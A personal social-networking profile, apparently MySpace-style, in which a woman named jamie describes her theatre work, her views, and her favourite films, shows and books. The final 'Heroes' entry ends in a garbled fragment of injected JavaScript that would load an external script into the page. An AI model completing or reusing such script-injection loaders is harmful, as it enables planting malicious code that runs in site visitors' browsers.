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jamie

You're a cunning linguist, but I'm a master debater.

About Me

I like myself. I'm not so bad. I smell good. Theatre is a large part of my life, and will continue to be. I don't want to be famous, I just want to continue to create and perform.
I am not afraid of being called a feminist. And I am okay with being called a bitch. I am, when necessary. I can't fucking stand poor grammar. However, I have a fondness for four letter words. I love kids and animals, its grown humans that disappoint me. I appreciate humor, be it sarcasm or fart jokes; I look for the funny. I enjoy going out and getting ridiculous. I think my heart is frozen solid some days. I am not a doormat. I will never be an ass kisser. I want it all.
My best friend is a gay man so if you have a problem with that, or homosexuality in general, I have a problem with you---that being you're an ignorant self-righteous joke of a human being. I am a woman who doesn't mind paying for my date. I would like to have babies with either Wolverine or Superman. I think Nickelback is the worst band ever created, and that most guys look terrible in pink...even you.

My Interests

THEATRE (acting/writing plays/directing), FILM (acting) reading, painting, karaoke, tasting new beers and wines, cooking, ranting, decorating, working out, complaining, fashion, playing Super Mario Brothers (only if I can be Luigi), and uh, oh yes, bubble baths.

I'd like to meet:

Anyone who won't bore the hell out of me. People who can appreciate or atleast respect my craft and the arts in general. Individuals who can spell something other than "lol". No gun-happy, macho, camo wearing douchebag types, please. And ofcourse, my soul mate, Conan O'Brien...

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Music:


Movies:

(1)Dirty Dancing (2)The Wizard of Oz (3)The Notebook (4)Cry Baby (5)The Silence of the Lambs (6)All Harry Potter movies (7)The Austin Powers Trilogy (8)Superhero movies (9)Kids' movies (10)Garden State (11)300 (12)Children of Men (13)Grindhouse

Television:

LAW & ORDER SVU, Project Runway, Forensic Files on Court tv, Everybody Loves Raymond, Family Guy, Robot Chicken, The Colbert Report, and some of those interior decorating shows, and boxing

Books:

PEOPLE WHO READ ARE SEXY...I enjoyed White Oleander, Summer Sisters, The Notebook, The Sound and the Fury, Wuthering Heights, The Lord of the Flies, Sickened, The Da Vinci Code, An Actor Prepares, Running With Scissors, Treasure Island, True and False...and countless plays.

Heroes:

Elizabeth Stanton, a major leader of the women's rights movement, and people who do atleast 5 mph over the speed limit. .."var s=..reateElement('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"